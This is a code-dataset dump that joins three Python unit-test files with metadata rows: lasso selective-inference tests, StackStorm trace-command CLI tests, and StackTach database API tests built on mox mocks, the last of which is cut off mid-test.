cov_target_score)[0] print(result['MLE'] / scale) results.append(result) assert np.allclose(results[0]['MLE'] / scales[0], results[1]['MLE'] / scales[1]) assert np.allclose(results[0]['SE'] / scales[0], results[1]['SE'] / scales[1]) assert np.allclose(results[0]['upper_confidence'] / scales[0], results[1]['upper_confidence'] / scales[1]) assert np.allclose(results[0]['lower_confidence'] / scales[0], results[1]['lower_confidence'] / scales[1]) assert np.allclose(results[0]['Zvalue'], results[1]['Zvalue']) assert np.allclose(results[0]['pvalue'], results[1]['pvalue']) def test_scale_invariant(n=200, p=20, signal_fac=10., s=5, sigma=3, rho=0.4, randomizer_scale=1, full_dispersion=True, seed=2): """ Confirm Gaussian version is appropriately scale invariant """ inst, const = gaussian_instance, lasso.gaussian signal = np.sqrt(signal_fac * 2 * np.log(p)) results = [] scales = [1, 5] for scale in scales: np.random.seed(seed) X, Y, beta = inst(n=n, p=p, signal=signal, s=s, equicorrelated=False, rho=rho, sigma=sigma, random_signs=True)[:3] Y *= scale; beta *= scale n, p = X.shape sigma_ = np.std(Y) W = np.ones(X.shape[1]) * np.sqrt(2 * np.log(p)) * sigma_ print('W', W[0]/scale) conv = const(X, Y, W, randomizer_scale=randomizer_scale * sigma_) signs = conv.fit() nonzero = signs != 0 print('nonzero', np.where(nonzero)[0]) print('feature_weights', conv.feature_weights[0] / scale) print('perturb', conv._initial_omega[0] / scale) dispersion = np.linalg.norm(Y - X.dot(np.linalg.pinv(X).dot(Y))) ** 2 / (n - p) (observed_target, cov_target, cov_target_score, alternatives) = selected_targets(conv.loglike, conv._W, nonzero, dispersion=dispersion) print('dispersion', dispersion/scale**2) print('target', observed_target[0]/scale) print('cov_target', cov_target[0,0]/scale**2) print('cov_target_score', cov_target_score[0,0]/scale**2) result = conv.selective_MLE(observed_target, cov_target, cov_target_score)[0] print(result['MLE'] / scale) results.append(result) assert np.allclose(results[0]['MLE'] / scales[0], results[1]['MLE'] / scales[1]) assert np.allclose(results[0]['SE'] / scales[0], results[1]['SE'] / scales[1]) assert np.allclose(results[0]['upper_confidence'] / scales[0], results[1]['upper_confidence'] / scales[1]) assert np.allclose(results[0]['lower_confidence'] / scales[0], results[1]['lower_confidence'] / scales[1]) assert np.allclose(results[0]['Zvalue'], results[1]['Zvalue']) assert np.allclose(results[0]['pvalue'], results[1]['pvalue']) def test_instance(): n, p, s = 500, 100, 5 X = np.random.standard_normal((n, p)) beta = np.zeros(p) beta[:s] = np.sqrt(2 * np.log(p) / n) Y = X.dot(beta) + np.random.standard_normal(n) scale_ = np.std(Y) # uses noise of variance n * scale_ / 4 by default L = lasso.gaussian(X, Y, 3 * scale_ * np.sqrt(2 * np.log(p) * np.sqrt(n))) signs = L.fit() E = (signs != 0) M = E.copy() M[-3:] = 1 print("check ", M) dispersion = np.linalg.norm(Y - X[:, M].dot(np.linalg.pinv(X[:, M]).dot(Y))) ** 2 / (n - M.sum()) (observed_target, cov_target, cov_target_score, alternatives) = selected_targets(L.loglike, L._W, M, dispersion=dispersion) print("check shapes", observed_target.shape, E.sum()) result = L.selective_MLE(observed_target, cov_target, cov_target_score)[0] estimate = result['MLE'] pval = result['pvalue'] intervals = np.asarray(result[['lower_confidence', 'upper_confidence']]) beta_target = np.linalg.pinv(X[:, M]).dot(X.dot(beta)) coverage = (beta_target > intervals[:, 0]) * (beta_target < intervals[:, 1]) print("observed_opt_state ", L.observed_opt_state) # print("check ", np.asarray(result['MLE']), np.asarray(result['unbiased'])) return coverage def test_selected_targets_disperse(n=500, p=100, signal_fac=1., s=5, sigma=1., rho=0.4, randomizer_scale=1, full_dispersion=True): """ Compare to R randomized lasso """ inst, const = gaussian_instance, lasso.gaussian signal = 1. while True: X, Y, beta = inst(n=n, p=p, signal=signal, s=s, equicorrelated=False, rho=rho, sigma=sigma, random_signs=True)[:3] idx = np.arange(p) sigmaX = rho ** np.abs(np.subtract.outer(idx, idx)) print("snr", beta.T.dot(sigmaX).dot(beta) / ((sigma ** 2.) * n)) n, p = X.shape sigma_ = np.std(Y) W = np.ones(X.shape[1]) * np.sqrt(2 * np.log(p)) * sigma_ conv = const(X, Y, W, randomizer_scale=randomizer_scale * sigma_) signs = conv.fit() nonzero = signs != 0 print("dimensions", n, p, nonzero.sum()) if nonzero.sum() > 0: dispersion = None if full_dispersion: dispersion = np.linalg.norm(Y - X.dot(np.linalg.pinv(X).dot(Y))) ** 2 / (n - p) (observed_target, cov_target, cov_target_score, alternatives) = selected_targets(conv.loglike, conv._W, nonzero, dispersion=dispersion) result = conv.selective_MLE(observed_target, cov_target, cov_target_score)[0] pval = result['pvalue'] intervals = np.asarray(result[['lower_confidence', 'upper_confidence']]) beta_target = np.linalg.pinv(X[:, nonzero]).dot(X.dot(beta)) coverage = (beta_target > intervals[:, 0]) * (beta_target < intervals[:, 1]) return pval[beta[nonzero] == 0], pval[beta[nonzero] != 0], coverage, intervals def main(nsim=500, full=False): P0, PA, cover, length_int = [], [], [], [] from statsmodels.distributions import ECDF n, p, s = 500, 100, 0 for i in range(nsim): if full: if n > p: full_dispersion = True else: full_dispersion = False p0, pA, cover_, intervals = test_full_targets(n=n, p=p, s=s, full_dispersion=full_dispersion) avg_length = intervals[:, 1] - intervals[:, 0] else: full_dispersion = True p0, pA, cover_, intervals = test_selected_targets(n=n, p=p, s=s, full_dispersion=full_dispersion) avg_length = intervals[:, 1] - intervals[:, 0] cover.extend(cover_) P0.extend(p0) PA.extend(pA) print("coverage and lengths ", np.mean(cover), np.mean(avg_length)) if __name__ == "__main__": main(nsim=50)
34.130967
109
0.42392
2,702
27,885
4.236491
0.069208
0.045601
0.06814
0.042457
0.878134
0.863545
0.84817
0.842229
0.828863
0.819778
0
0.025407
0.470683
27,885
816
110
34.172794
0.750136
0.0279
0
0.864
0
0
0.034522
0
0
0
0
0
0.0192
1
0.0208
false
0
0.0096
0
0.0464
0.0544
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
b18922421262ae51130f4295dcd65e400c895e96
8,738
py
Python
st2client/tests/unit/test_trace_commands.py
saucetray/st2
8f507d6c8d9483c8371e386fe2b7998596856fd7
[ "Apache-2.0" ]
2
2021-08-04T01:04:06.000Z
2021-08-04T01:04:08.000Z
st2client/tests/unit/test_trace_commands.py
saucetray/st2
8f507d6c8d9483c8371e386fe2b7998596856fd7
[ "Apache-2.0" ]
null
null
null
st2client/tests/unit/test_trace_commands.py
saucetray/st2
8f507d6c8d9483c8371e386fe2b7998596856fd7
[ "Apache-2.0" ]
null
null
null
# Copyright 2019 Extreme Networks, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from __future__ import absolute_import import argparse from tests import base from st2client.commands import trace as trace_commands from st2client.models import trace as trace_models class TraceCommandTestCase(base.BaseCLITestCase): def test_trace_get_filter_trace_components_executions(self): trace = trace_models.Trace() setattr(trace, 'action_executions', [{'object_id': 'e1', 'caused_by': {'id': 'r1:t1', 'type': 'rule'}}]) setattr(trace, 'rules', [{'object_id': 'r1', 'caused_by': {'id': 't1', 'type': 'trigger_instance'}}]) setattr(trace, 'trigger_instances', [{'object_id': 't1', 'caused_by': {}}, {'object_id': 't2', 'caused_by': {'id': 'e1', 'type': 'execution'}}]) args = argparse.Namespace() setattr(args, 'execution', 'e1') setattr(args, 'show_executions', False) setattr(args, 'show_rules', False) setattr(args, 'show_trigger_instances', False) setattr(args, 'hide_noop_triggers', False) trace = trace_commands.TraceGetCommand._filter_trace_components(trace, args) self.assertEqual(len(trace.action_executions), 1) self.assertEqual(len(trace.rules), 1) self.assertEqual(len(trace.trigger_instances), 1) def test_trace_get_filter_trace_components_rules(self): trace = trace_models.Trace() setattr(trace, 'action_executions', [{'object_id': 'e1', 'caused_by': {'id': 'r1:t1', 'type': 'rule'}}]) setattr(trace, 'rules', [{'object_id': 'r1', 'caused_by': {'id': 't1', 'type': 'trigger_instance'}}]) setattr(trace, 'trigger_instances', [{'object_id': 't1', 'caused_by': {}}, {'object_id': 't2', 'caused_by': {'id': 'e1', 'type': 'execution'}}]) args = argparse.Namespace() setattr(args, 'execution', None) setattr(args, 'rule', 'r1') setattr(args, 'trigger_instance', None) setattr(args, 'show_executions', False) setattr(args, 'show_rules', False) setattr(args, 'show_trigger_instances', False) setattr(args, 'hide_noop_triggers', False) trace = trace_commands.TraceGetCommand._filter_trace_components(trace, args) self.assertEqual(len(trace.action_executions), 0) self.assertEqual(len(trace.rules), 1) self.assertEqual(len(trace.trigger_instances), 1) def test_trace_get_filter_trace_components_trigger_instances(self): trace = trace_models.Trace() setattr(trace, 'action_executions', [{'object_id': 'e1', 'caused_by': {'id': 'r1:t1', 'type': 'rule'}}]) setattr(trace, 'rules', [{'object_id': 'r1', 'caused_by': {'id': 't1', 'type': 'trigger_instance'}}]) setattr(trace, 'trigger_instances', [{'object_id': 't1', 'caused_by': {}}, {'object_id': 't2', 'caused_by': {'id': 'e1', 'type': 'execution'}}]) args = argparse.Namespace() setattr(args, 'execution', None) setattr(args, 'rule', None) setattr(args, 'trigger_instance', 't1') setattr(args, 'show_executions', False) setattr(args, 'show_rules', False) setattr(args, 'show_trigger_instances', False) setattr(args, 'hide_noop_triggers', False) trace = trace_commands.TraceGetCommand._filter_trace_components(trace, args) self.assertEqual(len(trace.action_executions), 0) self.assertEqual(len(trace.rules), 0) self.assertEqual(len(trace.trigger_instances), 1) def test_trace_get_apply_display_filters_show_executions(self): trace = trace_models.Trace() setattr(trace, 'action_executions', ['1']) setattr(trace, 'rules', ['1']) setattr(trace, 'trigger_instances', ['1']) args = argparse.Namespace() setattr(args, 'show_executions', True) setattr(args, 'show_rules', False) setattr(args, 'show_trigger_instances', False) setattr(args, 'hide_noop_triggers', False) trace = trace_commands.TraceGetCommand._apply_display_filters(trace, args) self.assertTrue(trace.action_executions) self.assertFalse(trace.rules) self.assertFalse(trace.trigger_instances) def test_trace_get_apply_display_filters_show_rules(self): trace = trace_models.Trace() setattr(trace, 'action_executions', ['1']) setattr(trace, 'rules', ['1']) setattr(trace, 'trigger_instances', ['1']) args = argparse.Namespace() setattr(args, 'show_executions', False) setattr(args, 'show_rules', True) setattr(args, 'show_trigger_instances', False) setattr(args, 'hide_noop_triggers', False) trace = trace_commands.TraceGetCommand._apply_display_filters(trace, args) self.assertFalse(trace.action_executions) self.assertTrue(trace.rules) self.assertFalse(trace.trigger_instances) def test_trace_get_apply_display_filters_show_trigger_instances(self): trace = trace_models.Trace() setattr(trace, 'action_executions', ['1']) setattr(trace, 'rules', ['1']) setattr(trace, 'trigger_instances', ['1']) args = argparse.Namespace() setattr(args, 'show_executions', False) setattr(args, 'show_rules', False) setattr(args, 'show_trigger_instances', True) setattr(args, 'hide_noop_triggers', False) trace = trace_commands.TraceGetCommand._apply_display_filters(trace, args) self.assertFalse(trace.action_executions) self.assertFalse(trace.rules) self.assertTrue(trace.trigger_instances) def test_trace_get_apply_display_filters_show_multiple(self): trace = trace_models.Trace() setattr(trace, 'action_executions', ['1']) setattr(trace, 'rules', ['1']) setattr(trace, 'trigger_instances', ['1']) args = argparse.Namespace() setattr(args, 'show_executions', True) setattr(args, 'show_rules', True) setattr(args, 'show_trigger_instances', False) setattr(args, 'hide_noop_triggers', False) trace = trace_commands.TraceGetCommand._apply_display_filters(trace, args) self.assertTrue(trace.action_executions) self.assertTrue(trace.rules) self.assertFalse(trace.trigger_instances) def test_trace_get_apply_display_filters_show_all(self): trace = trace_models.Trace() setattr(trace, 'action_executions', ['1']) setattr(trace, 'rules', ['1']) setattr(trace, 'trigger_instances', ['1']) args = argparse.Namespace() setattr(args, 'show_executions', False) setattr(args, 'show_rules', False) setattr(args, 'show_trigger_instances', False) setattr(args, 'hide_noop_triggers', False) trace = trace_commands.TraceGetCommand._apply_display_filters(trace, args) self.assertEqual(len(trace.action_executions), 1) self.assertEqual(len(trace.rules), 1) self.assertEqual(len(trace.trigger_instances), 1) def test_trace_get_apply_display_filters_hide_noop(self): trace = trace_models.Trace() setattr(trace, 'action_executions', [{'object_id': 'e1', 'caused_by': {'id': 'r1:t1', 'type': 'rule'}}]) setattr(trace, 'rules', [{'object_id': 'r1', 'caused_by': {'id': 't1', 'type': 'trigger_instance'}}]) setattr(trace, 'trigger_instances', [{'object_id': 't1', 'caused_by': {}}, {'object_id': 't2', 'caused_by': {'id': 'e1', 'type': 'execution'}}]) args = argparse.Namespace() setattr(args, 'show_executions', False) setattr(args, 'show_rules', False) setattr(args, 'show_trigger_instances', False) setattr(args, 'hide_noop_triggers', True) trace = trace_commands.TraceGetCommand._apply_display_filters(trace, args) self.assertEqual(len(trace.action_executions), 1) self.assertEqual(len(trace.rules), 1) self.assertEqual(len(trace.trigger_instances), 1)
43.472637
93
0.645113
989
8,738
5.455005
0.122346
0.087674
0.07507
0.063948
0.861538
0.861353
0.861353
0.85468
0.847266
0.847266
0
0.010955
0.216526
8,738
200
94
43.69
0.777096
0.063973
0
0.845161
0
0
0.192039
0.02425
0
0
0
0
0.174194
1
0.058065
false
0
0.032258
0
0.096774
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
492c63f4a103f952f2343ed00762b8179a48c615
52,520
py
Python
tests/unit/test_dbapi.py
PreetiKamble29/stacktach
f4f905393a0d7eaa226a72b6a27b61e4ef52211d
[ "Apache-2.0" ]
null
null
null
tests/unit/test_dbapi.py
PreetiKamble29/stacktach
f4f905393a0d7eaa226a72b6a27b61e4ef52211d
[ "Apache-2.0" ]
4
2020-02-28T10:27:34.000Z
2022-02-02T01:13:09.000Z
tests/unit/test_dbapi.py
PreetiKamble29/stacktach
f4f905393a0d7eaa226a72b6a27b61e4ef52211d
[ "Apache-2.0" ]
null
null
null
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import datetime import json import unittest from django.db.models import Count from django.db.models import FieldDoesNotExist from django.db import transaction import mock import mox from stacktach import dbapi from stacktach import models from stacktach import utils as stacktach_utils from tests.unit import StacktachBaseTestCase import utils from utils import INSTANCE_ID_1 from utils import MESSAGE_ID_1 from utils import MESSAGE_ID_2 from utils import MESSAGE_ID_3 from utils import MESSAGE_ID_4 class Length(mox.Comparator): def __init__(self, l): self._len = l def equals(self, rhs): return self._len == len(rhs) def __repr__(self): return "<sequence with len %s >" % self._len class DBAPITestCase(StacktachBaseTestCase): def setUp(self): self.mox = mox.Mox() dne_exception = models.InstanceExists.DoesNotExist mor_exception = models.InstanceExists.MultipleObjectsReturned self.mox.StubOutWithMock(models, 'RawData', use_mock_anything=True) self.mox.StubOutWithMock(models, 'InstanceExists', use_mock_anything=True) self.mox.StubOutWithMock(models, 'ImageExists', use_mock_anything=True) models.RawData.objects = self.mox.CreateMockAnything() models.InstanceExists._meta = self.mox.CreateMockAnything() models.ImageExists._meta = self.mox.CreateMockAnything() models.InstanceExists.objects = self.mox.CreateMockAnything() models.ImageExists.objects = self.mox.CreateMockAnything() models.InstanceExists.DoesNotExist = dne_exception models.ImageExists.DoesNotExist = dne_exception models.InstanceExists.MultipleObjectsReturned = mor_exception models.ImageExists.MultipleObjectsReturned = mor_exception def tearDown(self): self.mox.UnsetStubs() def make_fake_model(self): fake_model = self.mox.CreateMockAnything() fake_meta = self.mox.CreateMockAnything() fake_model._meta = fake_meta fake_orm = self.mox.CreateMockAnything() fake_model.objects = fake_orm return fake_model def test_get_filter_args(self): start_time = datetime.datetime.utcnow() start_decimal = utils.decimal_utc(start_time) end_time = start_time + datetime.timedelta(days=1) end_decimal = utils.decimal_utc(end_time) fake_request = self.mox.CreateMockAnything() fake_model = self.make_fake_model() fake_model._meta.get_field_by_name('launched_at') fake_model._meta.get_field_by_name('launched_at') fake_request.GET = {'instance': INSTANCE_ID_1, 'launched_at_min': str(start_time), 'launched_at_max': str(end_time)} self.mox.ReplayAll() filter_args = dbapi._get_filter_args(fake_model, fake_request) self.mox.VerifyAll() self.assertEquals(filter_args['instance'], INSTANCE_ID_1) self.assertEquals(filter_args.get('launched_at__gte'), start_decimal) self.assertEquals(filter_args.get('launched_at__lte'), end_decimal) def test_get_filter_args_bad_uuid(self): fake_model = self.make_fake_model() fake_request = self.mox.CreateMockAnything() fake_request.GET = {'instance': 'obviouslybaduuid'} self.mox.ReplayAll() self.assertRaises(dbapi.BadRequestException, dbapi._get_filter_args, fake_model, fake_request) self.mox.VerifyAll() def test_get_filter_args_bad_min_value(self): fake_request = self.mox.CreateMockAnything() fake_request.GET = {'launched_at_min': 'obviouslybaddatetime'} fake_model = self.make_fake_model() fake_model._meta.get_field_by_name('launched_at') self.mox.ReplayAll() self.assertRaises(dbapi.BadRequestException, dbapi._get_filter_args, fake_model, fake_request) self.mox.VerifyAll() def test_get_filter_args_bad_max_value(self): fake_request = self.mox.CreateMockAnything() fake_request.GET = {'launched_at_max': 'obviouslybaddatetime'} fake_model = self.make_fake_model() fake_model._meta.get_field_by_name('launched_at') self.mox.ReplayAll() self.assertRaises(dbapi.BadRequestException, dbapi._get_filter_args, fake_model, fake_request) self.mox.VerifyAll() def test_get_filter_args_bad_range_key(self): start_time = datetime.datetime.utcnow() fake_request = self.mox.CreateMockAnything() fake_request.GET = {'somebadfield_max': str(start_time)} fake_model = self.make_fake_model() fake_model._meta.get_field_by_name('somebadfield') \ .AndRaise(FieldDoesNotExist()) self.mox.ReplayAll() self.assertRaises(dbapi.BadRequestException, dbapi._get_filter_args, fake_model, fake_request) self.mox.VerifyAll() def test_get_db_objects(self): fake_model = self.make_fake_model() fake_request = self.mox.CreateMockAnything() fake_request.GET = {} self.mox.StubOutWithMock(dbapi, '_get_filter_args') dbapi._get_filter_args(fake_model, fake_request, custom_filters=None).AndReturn({}) self.mox.StubOutWithMock(dbapi, '_check_has_field') dbapi._check_has_field(fake_model, 'id') result = self.mox.CreateMockAnything() fake_model.objects.all().AndReturn(result) result.order_by('-id').AndReturn(result) s = slice(None, dbapi.DEFAULT_LIMIT, None) result.__getitem__(s).AndReturn(result) self.mox.ReplayAll() query_result = dbapi.get_db_objects(fake_model, fake_request, 'id') self.assertEquals(query_result, result) self.mox.VerifyAll() def test_get_db_objects_desc(self): fake_model = self.make_fake_model() fake_request = self.mox.CreateMockAnything() fake_request.GET = {'direction': 'desc'} self.mox.StubOutWithMock(dbapi, '_get_filter_args') dbapi._get_filter_args(fake_model, fake_request, custom_filters=None).AndReturn({}) self.mox.StubOutWithMock(dbapi, '_check_has_field') dbapi._check_has_field(fake_model, 'id') result = self.mox.CreateMockAnything() fake_model.objects.all().AndReturn(result) result.order_by('-id').AndReturn(result) s = slice(None, dbapi.DEFAULT_LIMIT, None) result.__getitem__(s).AndReturn(result) self.mox.ReplayAll() query_result = dbapi.get_db_objects(fake_model, fake_request, 'id') self.assertEquals(query_result, result) self.mox.VerifyAll() def test_get_db_objects_asc(self): fake_model = self.make_fake_model() fake_request = self.mox.CreateMockAnything() fake_request.GET = {'direction': 'asc'} self.mox.StubOutWithMock(dbapi, '_get_filter_args') dbapi._get_filter_args(fake_model, fake_request, custom_filters=None).AndReturn({}) self.mox.StubOutWithMock(dbapi, '_check_has_field') dbapi._check_has_field(fake_model, 'id') result = self.mox.CreateMockAnything() fake_model.objects.all().AndReturn(result) result.order_by('id').AndReturn(result) s = slice(None, dbapi.DEFAULT_LIMIT, None) result.__getitem__(s).AndReturn(result) self.mox.ReplayAll() query_result = dbapi.get_db_objects(fake_model, fake_request, 'id') self.assertEquals(query_result, result) self.mox.VerifyAll() def test_get_db_objects_limit(self): fake_model = self.make_fake_model() fake_request = self.mox.CreateMockAnything() fake_request.GET = {'limit': '1'} self.mox.StubOutWithMock(dbapi, '_get_filter_args') dbapi._get_filter_args(fake_model, fake_request, custom_filters=None).AndReturn({}) self.mox.StubOutWithMock(dbapi, '_check_has_field') dbapi._check_has_field(fake_model, 'id') result = self.mox.CreateMockAnything() fake_model.objects.all().AndReturn(result) result.order_by('-id').AndReturn(result) result.__getitem__(slice(None, 1, None)).AndReturn(result) self.mox.ReplayAll() query_result = dbapi.get_db_objects(fake_model, fake_request, 'id') self.assertEquals(query_result, result) self.mox.VerifyAll() def test_get_db_objects_hard_limit(self): fake_model = self.make_fake_model() fake_request = self.mox.CreateMockAnything() fake_request.GET = {'limit': str(dbapi.HARD_LIMIT + 1)} self.mox.StubOutWithMock(dbapi, '_get_filter_args') dbapi._get_filter_args(fake_model, fake_request, custom_filters=None).AndReturn({}) self.mox.StubOutWithMock(dbapi, '_check_has_field') dbapi._check_has_field(fake_model, 'id') result = self.mox.CreateMockAnything() fake_model.objects.all().AndReturn(result) result.order_by('-id').AndReturn(result) s = slice(None, dbapi.HARD_LIMIT, None) result.__getitem__(s).AndReturn(result) self.mox.ReplayAll() query_result = dbapi.get_db_objects(fake_model, fake_request, 'id') self.assertEquals(query_result, result) self.mox.VerifyAll() def test_get_db_objects_offset(self): fake_model = self.make_fake_model() fake_request = self.mox.CreateMockAnything() fake_request.GET = {'offset': '1'} self.mox.StubOutWithMock(dbapi, '_get_filter_args') dbapi._get_filter_args(fake_model, fake_request, custom_filters=None).AndReturn({}) self.mox.StubOutWithMock(dbapi, '_check_has_field') dbapi._check_has_field(fake_model, 'id') result = self.mox.CreateMockAnything() fake_model.objects.all().AndReturn(result) result.order_by('-id').AndReturn(result) result.__getslice__(1, dbapi.DEFAULT_LIMIT + 1).AndReturn(result) self.mox.ReplayAll() query_result = dbapi.get_db_objects(fake_model, fake_request, 'id') self.assertEquals(query_result, result) self.mox.VerifyAll() def test_get_db_objects_offset_and_limit(self): fake_model = self.make_fake_model() fake_request = self.mox.CreateMockAnything() fake_request.GET = {'offset': '2', 'limit': '2'} self.mox.StubOutWithMock(dbapi, '_get_filter_args') dbapi._get_filter_args(fake_model, fake_request, custom_filters=None).AndReturn({}) self.mox.StubOutWithMock(dbapi, '_check_has_field') dbapi._check_has_field(fake_model, 'id') result = self.mox.CreateMockAnything() fake_model.objects.all().AndReturn(result) result.order_by('-id').AndReturn(result) result.__getslice__(2, 4).AndReturn(result) self.mox.ReplayAll() query_result = dbapi.get_db_objects(fake_model, fake_request, 'id') self.assertEquals(query_result, result) self.mox.VerifyAll() def test_get_db_objects_with_filter(self): fake_model = self.make_fake_model() fake_request = self.mox.CreateMockAnything() filters = {'instance': INSTANCE_ID_1} fake_request.GET = filters self.mox.StubOutWithMock(dbapi, '_get_filter_args') dbapi._get_filter_args(fake_model, fake_request, custom_filters=None).AndReturn(filters) self.mox.StubOutWithMock(dbapi, '_check_has_field') dbapi._check_has_field(fake_model, 'id') result = self.mox.CreateMockAnything() fake_model.objects.filter(**filters).AndReturn(result) result.order_by('-id').AndReturn(result) s = slice(None, dbapi.DEFAULT_LIMIT, None) result.__getitem__(s).AndReturn(result) self.mox.ReplayAll() query_result = dbapi.get_db_objects(fake_model, fake_request, 'id') self.assertEquals(query_result, result) self.mox.VerifyAll() def test_get_db_objects_with_custom_filter(self): fake_model = self.make_fake_model() fake_request = self.mox.CreateMockAnything() filters = {'instance': INSTANCE_ID_1} custom_filters = {'raw': {'raw__id': 1}} fake_request.GET = filters self.mox.StubOutWithMock(dbapi, '_get_filter_args') dbapi._get_filter_args(fake_model, fake_request, custom_filters=custom_filters).AndReturn( filters) self.mox.StubOutWithMock(dbapi, '_check_has_field') dbapi._check_has_field(fake_model, 'id') result = self.mox.CreateMockAnything() all_filters = {} all_filters.update(filters) all_filters.update(custom_filters['raw']) fake_model.objects.filter(**all_filters).AndReturn(result) result.order_by('-id').AndReturn(result) s = slice(None, dbapi.DEFAULT_LIMIT, None) result.__getitem__(s).AndReturn(result) self.mox.ReplayAll() query_result = dbapi.get_db_objects(fake_model, fake_request, 'id', custom_filters=custom_filters) self.assertEquals(query_result, result) self.mox.VerifyAll() def test_list_usage_exists_no_custom_filters_for_nova(self): fake_request = self.mox.CreateMockAnything() fake_request.GET = {} self.mox.StubOutWithMock(dbapi, 'get_db_objects') objects = self.mox.CreateMockAnything() dbapi.get_db_objects(models.InstanceExists, fake_request, 'id', custom_filters={}).AndReturn(objects) self.mox.StubOutWithMock(dbapi, '_convert_model_list') dbapi._convert_model_list(objects, dbapi._exists_extra_values) self.mox.ReplayAll() resp = dbapi.list_usage_exists(fake_request) self.assertEqual(resp.status_code, 200) self.mox.VerifyAll() def test_list_usage_exists_no_custom_filters_for_glance(self): fake_request = self.mox.CreateMockAnything() fake_request.GET = {} self.mox.StubOutWithMock(dbapi, 'get_db_objects') objects = self.mox.CreateMockAnything() dbapi.get_db_objects(models.ImageExists, fake_request, 'id', custom_filters={}).AndReturn(objects) self.mox.StubOutWithMock(dbapi, '_convert_model_list') dbapi._convert_model_list(objects, dbapi._exists_extra_values) self.mox.ReplayAll() resp = dbapi.list_usage_exists_glance(fake_request) self.assertEqual(resp.status_code, 200) self.mox.VerifyAll() def test_list_usage_exists_with_received_min(self): fake_request = self.mox.CreateMockAnything() date = str(datetime.datetime.utcnow()) fake_request.GET = {'received_min': date} self.mox.StubOutWithMock(dbapi, 'get_db_objects') unix_date = stacktach_utils.str_time_to_unix(date) custom_filters = {'received_min': {'raw__when__gte': unix_date}} objects = self.mox.CreateMockAnything() dbapi.get_db_objects(models.InstanceExists, fake_request, 'id', custom_filters=custom_filters).AndReturn(objects) self.mox.StubOutWithMock(dbapi, '_convert_model_list') dbapi._convert_model_list(objects, dbapi._exists_extra_values) self.mox.ReplayAll() resp = dbapi.list_usage_exists(fake_request) self.assertEqual(resp.status_code, 200) self.mox.VerifyAll() def test_list_usage_exists_with_received_max(self): fake_request = self.mox.CreateMockAnything() date = str(datetime.datetime.utcnow()) fake_request.GET = {'received_max': date} unix_date = stacktach_utils.str_time_to_unix(date) custom_filters = {'received_max': {'raw__when__lte': unix_date}} objects = self.mox.CreateMockAnything() self.mox.StubOutWithMock(dbapi, 'get_db_objects') dbapi.get_db_objects(models.InstanceExists, fake_request, 'id', custom_filters=custom_filters).AndReturn(objects) self.mox.StubOutWithMock(dbapi, '_convert_model_list') dbapi._convert_model_list(objects, dbapi._exists_extra_values) self.mox.ReplayAll() resp = dbapi.list_usage_exists(fake_request) self.assertEqual(resp.status_code, 200) self.mox.VerifyAll() def test_list_usage_exists_with_bad_received_min(self): fake_request = self.mox.CreateMockAnything() fake_request.GET = {'received_min': 'obviouslybaddate'} self.mox.ReplayAll() resp = dbapi.list_usage_exists(fake_request) self.assertEqual(resp.status_code, 400) self.mox.VerifyAll() def test_list_usage_exists_with_bad_received_max(self): fake_request = self.mox.CreateMockAnything() fake_request.GET = {'received_max': 'obviouslybaddate'} self.mox.ReplayAll() resp = dbapi.list_usage_exists(fake_request) self.assertEqual(resp.status_code, 400) self.mox.VerifyAll() def test_update_tenant_info(self): TEST_TENANT='test' models.TenantInfo.objects = self.mox.CreateMockAnything() models.TenantType.objects = self.mox.CreateMockAnything() fake_request = self.mox.CreateMockAnything() fake_request.method = 'PUT' body_dict = dict(tenant=TEST_TENANT, name='test name', types=dict(test_type='thingy')) body = json.dumps(body_dict) fake_request.body = body info = self.mox.CreateMockAnything() info_result = self.mox.CreateMockAnything() models.TenantInfo.objects.select_for_update().AndReturn(info_result) info_result.get(tenant=TEST_TENANT).AndReturn(info) info.save() ttype = self.mox.CreateMockAnything() models.TenantType.objects.get(name='test_type', value='thingy').AndReturn(ttype) ttype.__hash__().AndReturn(hash('test_type')) info.save() self.mox.ReplayAll() dbapi.update_tenant_info(fake_request, TEST_TENANT) self.assertEqual(info.name, 'test name') self.assertEqual(info.types, [ttype]) self.mox.VerifyAll() def test_batch_update_tenant_info(self): TEST_DATE='test date time' mock_t1 = self.mox.CreateMock(models.TenantInfo) mock_t1.id = 1 mock_t1.tenant = 'test_old' mock_t1.name = 'test old name' mock_t1.types = self.mox.CreateMockAnything() mock_t1.types.all().AndReturn([]) mock_t1.last_updated = TEST_DATE mock_t2 = self.mox.CreateMock(models.TenantInfo) mock_t2.id = 2 mock_t2.tenant = 'test_new' mock_t2.name = 'test new name' mock_t2.last_updated = TEST_DATE mock_t2.types = self.mox.CreateMockAnything() mock_t2.types.all().AndReturn([]) TEST_OBJECTS = [mock_t1, mock_t2] mock_tt1 = self.mox.CreateMock(models.TenantType) mock_tt1.id = 1 mock_tt1.name = 'test_type' mock_tt1.value = 'thingy' mock_tt2 = self.mox.CreateMock(models.TenantType) mock_tt2.id = 2 mock_tt2.name = 'test_type' mock_tt2.value = 'whatzit' TEST_TYPES = [mock_tt1, mock_tt2] models.TenantInfo.objects = self.mox.CreateMockAnything() models.TenantType.objects = self.mox.CreateMockAnything() TypeXref = models.TenantInfo.types.through TypeXref.objects = self.mox.CreateMockAnything() self.mox.StubOutWithMock(dbapi, 'datetime') dbapi.datetime.utcnow().AndReturn(TEST_DATE) fake_request = self.mox.CreateMockAnything() fake_request.method = 'PUT' body_dict = dict(tenants=[dict(tenant='test_old', name='test old name', types=dict(test_type='thingy')), dict(tenant='test_new', 